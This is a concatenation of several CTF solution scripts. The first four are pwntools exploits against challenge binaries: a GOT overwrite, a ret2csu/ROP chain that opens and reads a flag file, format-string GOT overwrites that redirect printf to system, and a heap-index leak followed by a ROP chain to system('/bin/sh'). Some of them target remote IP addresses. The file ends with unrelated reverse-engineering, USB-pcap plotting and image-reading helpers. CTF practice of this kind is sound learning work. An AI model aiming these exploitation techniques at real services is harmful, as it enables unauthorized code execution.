#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn

from pwn import*

context.log_level='debug'

context(arch='amd64',os='linux')

context.terminal=['tmux','splitw','-h']

pwn = './PUTS'

p=remote('82.157.250.243',7001)

#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})

# p=process('./PUTS')

# gdb.attach(p)

elf=ELF(pwn)

#libc=ELF('./libc.so.6')

payload1=p64(elf.got['puts'])

payload2=p64(0x4010c0)

p.send(payload1)

pause()

p.send(payload2)

p.interactive()

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn

from pwn import*

context.log_level='debug'

context(arch='amd64',os='linux')

context.terminal=['tmux','splitw','-h']

pwn = './stkoverflow'

p=remote('8.130.110.158',2101)

# p=process(['./ld-2.31.so', './stkoverflow'], env={"LD_PRELOAD":'./libc-2.31.so'})

# p=process('./stkoverflow')

# gdb.attach(p)

elf=ELF(pwn)

libc=ELF('./libc-2.31.so')

pop_rdi=0x401363

pop_rsi2=0x401361

vuln=0x401279

csu=0x40135a

csu1=0x401340

buf=0x404088

flag=buf

leaveret=0x4012d7

# payload=b'a'*0x10+p64(pop_rdi)+p64(1)+p64(pop_rsi2)+p64(elf.got['read'])+p64(0)+p64(elf.plt['write'])+p64(vuln)

payload=b'a'*0x10+p64(csu)+p64(0)+p64(1)+p64(1)+p64(elf.got['read'])+p64(0x200)+p64(elf.got['write'])+p64(csu1)+p64(buf)*7+p64(pop_rdi)+p64(0)+p64(pop_rsi2)+p64(0x404088)+p64(0)+p64(elf.plt['read'])+p64(leaveret)

p.sendline(payload)

p.recvuntil('way\x0a')

p.recv()

# p.recvuntil('way\x0a')

# pause()

addr=u64(p.recv(6).ljust(8,b'\x00'))

base=addr-libc.sym['read']

open_fun=base+libc.sym['open64']

pop_rdx=base+0x142c92

pop_rsi=0x2601f+base

print(hex(addr))

payload2=b'flag\x00\x00\x00\x00'+p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_fun)

payload2+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag-0x10)+p64(pop_rdx)+p64(0x30)+p64(elf.plt['read'])

payload2+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag-0x10)+p64(pop_rdx)+p64(0x30)+p64(elf.plt['write'])+p64(vuln)

# p.sendline('flag\x00')

p.sendline(payload2)

p.interactive()

# 0x0000000000142c92 : pop rdx ; ret

# 0x000000000040135c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

# 0x000000000040135e : pop r13 ; pop r14 ; pop r15 ; ret

# 0x0000000000401360 : pop r14 ; pop r15 ; ret

# 0x0000000000401362 : pop r15 ; ret

# 0x000000000040135b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

# 0x000000000040135f : pop rbp ; pop r14 ; pop r15 ; ret

# 0x00000000004011bd : pop rbp ; ret

# 0x0000000000401363 : pop rdi ; ret

# 0x0000000000401361 : pop rsi ; pop r15 ; ret

# 0x000000000040135d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

# 0x000000000040101a : ret

# 0x00000000004012d1 : ret 0

# 0x000000000040121a : ret 0xfffe

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn

from pwn import*

context.log_level='debug'

context(arch='amd64',os='linux')

context.terminal=['tmux','splitw','-h']

pwn = './fmt'

# p=remote('82.157.250.243',7002)

p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})

# # p=process('./fmt')

# gdb.attach(p)

elf=ELF(pwn)

libc=ELF('./libc-2.31.so')

offset=8

vuln=0x40129c

# payload=b'a%155c'+fmtstr_payload(8,{elf.got['__stack_chk_fail']:vuln})[5:0x27]

# payload=b'a%155c%13$lln%118c%14$hhn%46c%15$hhnaaaa'+p64(0x404020)+p64(0x404021)+p64(0x404022)

# payload=b'a'+fmtstr_payload(8,{elf.got['exit']:0x40129c})

# payload=b'a%155c%13$lln%118c%14$hhn%46c%15$hhnaaaa'+p64(0x404048)+p64(0x404049)+p64(0x40404a)

# p.send(payload)

# pause()

# p.send(b'a')

payload=b'a%26$p%29$p'.ljust(0x70,b'\x00')+b';/bin/sh'

p.send(payload)

pause()

p.send('a')

p.recvuntil('0x')

addr0=int(p.recv(12),16)

addr0-=8

p.recvuntil('0x')

addr=int(p.recv(12),16)

addr-=243

base=addr-libc.sym['__libc_start_main']

sys_addr=base+libc.sym['system']

payload=fmtstr_payload(8,{addr:0x4012a4})

# payload=b'a%18c%14$lln%46c%15$hhn%92c%13$hhnaaaaaa'+p64(addr)+p64(addr+1)+p64(addr+2)

# payload=b'a%155c%13$lln%118c%14$hhn%46c%15$hhnaaaa'+p64(addr0)+p64(addr0+1)+p64(addr0+2)

payload=b'a%163c%13$lln%110c%14$hhn%46c%15$hhnaaaa'+p64(addr0)+p64(addr0+1)+p64(addr0+2)

p.sendline(payload)

pause()

p.send('a')

# pause()

# payload=b'a%29$p'.ljust(0x70,b'\x00')+b';/bin/sh'

# p.send(payload)

# pause()

# p.send('a')

print("Next ROUND!!!!!!!!!!!!!!!!")

# payload=b'a%143c%17$lln%36c%18$hhn%46c%19$hhn%25c%20$hhn%1c%21$hhn%130c%22$hhnaaaa'+p64(0x404030)+p64(0x404031)+p64(0x404032)+p64(0x404033)+p64(0x404034)+p64(0x404035)

# payload=b'aaaa%x,%x'

# # p.send('')'

# # p.send('')

# pause()

# p.send(payload)

# pause()

# p.send('a')

# pause()

# payload=b'a%155c%13$lln%118c%14$hhn%46c%15$hhnaaaa'+p64(addr0)+p64(addr0+1)+p64(addr0+2)

# p.sendline(payload)

# pause()

# p.send('a')

# sys_addr-=1

payload=b'a%143c'+fmtstr_payload(8,{elf.got['printf']:sys_addr})[5:-49]+fmtstr_payload(8,{elf.got['printf']:sys_addr})[-48:]

print(hex(sys_addr-1))

# payload=b'a%143c%17$lln%36c%18$hhn%46c%19$hhn%25c%20$hhn%1c%21$hhn%130c%22$hhnaaaa'+p64(0x404030)+p64(0x404031)+p64(0x404032)+p64(0x404033)+p64(0x404034)+p64(0x404035)

# p.send('')

# payload=b'a%143c%17$lln%23c%18$hhn%46c%19$hhn%93c%20$hhn%77c%21$hhn%13c%22$hhnaaaa'+p64(0x404030)+p64(0x404031)+p64(0x404032)+p64(0x404033)+p64(0x404034)+p64(0x404035)

pause()

p.send(payload)

pause()

p.send('a')

# p.sendline(b'a')

p.interactive()

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn

from pwn import*

context.log_level='debug'

context(arch='amd64',os='linux')

context.terminal=['tmux','splitw','-h']

pwn = './heap'

# p=remote('82.157.250.243',7003)

p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})

# p=process('./heap')

gdb.attach(p,'b*0x401712')

#elf=ELF(pwn)

libc=ELF('./libc-2.31.so')

read_got_ptr=0x400710

p.sendline("3")

p.sendline("-1863")

p.recvuntil('index:\n')

addr=u64(p.recv(6).ljust(8,b'\x00'))  # read

print(hex(addr))

base=addr-libc.sym['puts']

system_addr=base+libc.symbols['system']

execve_addr=base+libc.symbols['execve']

sh=base+next(libc.search(b'/bin/sh'))

pop_rdi=0x4017d3

# make

p.sendline("1")

p.sendline("1")

p.sendline("26")

# change rbp

p.sendline("4")

p.sendline("1")

p.sendline("a"*0x100)

p.sendline("1")

# exploit

p.sendline("5")

ret=0x40101a

pl=p64(pop_rdi)+p64(sh)+p64(system_addr)

p.sendline(p64(ret)*29+pl)

p.sendline("cat flag")

p.interactive()

def listcomp(input_str):

    return [ord(c) for c in input_str]

a=[179,186,176,177,204,132,145,146,126,149,150,140,140,109,156,155,160,111,140,163,113,83,177,180,153,12,39,67,105,17,154,144,6,84,42,220,24,77,72,147,169,245]

def fun1():

    print('plz input the b:\n')

    b=input()

    c=len(b)

    if c != 42 :

        print('length error!')

        exit(0)

    else:# jmp 128

        d=listcomp(b)

        for i in range(0,21):

            d[i]=(d[i]^i+77)&255 # d[i]-77-i

        for i in range(21,42):

            d[i]=((d[i]<<((8-i%6)-1))&255 + (d[i]>>(i%6+1))&255)

        # for i in range(42):

        #     if()        

fun1()

import os

import matplotlib.pyplot as plt

# os.system("tshark -r 1.pcapng -T fields -e usb.capdata| sed '/^\s*$/d' > 1.txt")

data=[]

with open('usbdata1.txt',"r") as f:

    for line in f.readlines():

        if line[12:16] !="0000":

            data.append(line)

            # print(line)

X = []

Y = []

# j=0

for i in data:

        # j+=1

        # print(j)

        # print(line)

        # if len(line)<10:

            #  continue

        x0=int(i[4:6],16)

        # x=0

        # for j in range(9):

        #         x=x*256+int(i[19-2*j:21-2*j],16)

        x1=int(i[6:8],16)

        x=x0+x1*256

        y0=int(i[8:10],16)

        y1=int(i[10:12],16)

        y=y0+y1*256

        X.append(x)

        Y.append(-y)

fig = plt.figure()

ax1 = fig.add_subplot(111)

ax1.set_title("result")

ax1.scatter(X, Y, c='b', marker='o')

plt.show()

import numpy as np

from PIL import Image

# 读取图片

image = Image.open("ribbon.png")

# 将图片转换为 RGBA 格式的 numpy 数组

rgba_array = np.array(image)

# 获取色块的颜色信息

colors = rgba_array[:, :, 3]

red_channel = rgba_array[:, :, 0]

green_channel = rgba_array[:, :, 1]

blue_channel = rgba_array[:, :, 2]

# 按照从左到右，从上到下的顺序输出颜色信息

# for x in range(25,rgba_array.shape[0],50):

x=25

for y in range(25,rgba_array.shape[1],50):

    # color = colors[y, x]

    red=red_channel[x,y]

    green=green_channel[x,y]

    blue=blue_channel[x,y]

    # print (f"({red},{green},{blue})") # 读取 flag.png 的输出格式，方便 C++ 读取字符串

    print(f"\"({red},{green},{blue})\",")  # 输出 ribbon.png 色块，加上双引号和逗号方便写 C++ 字符串数组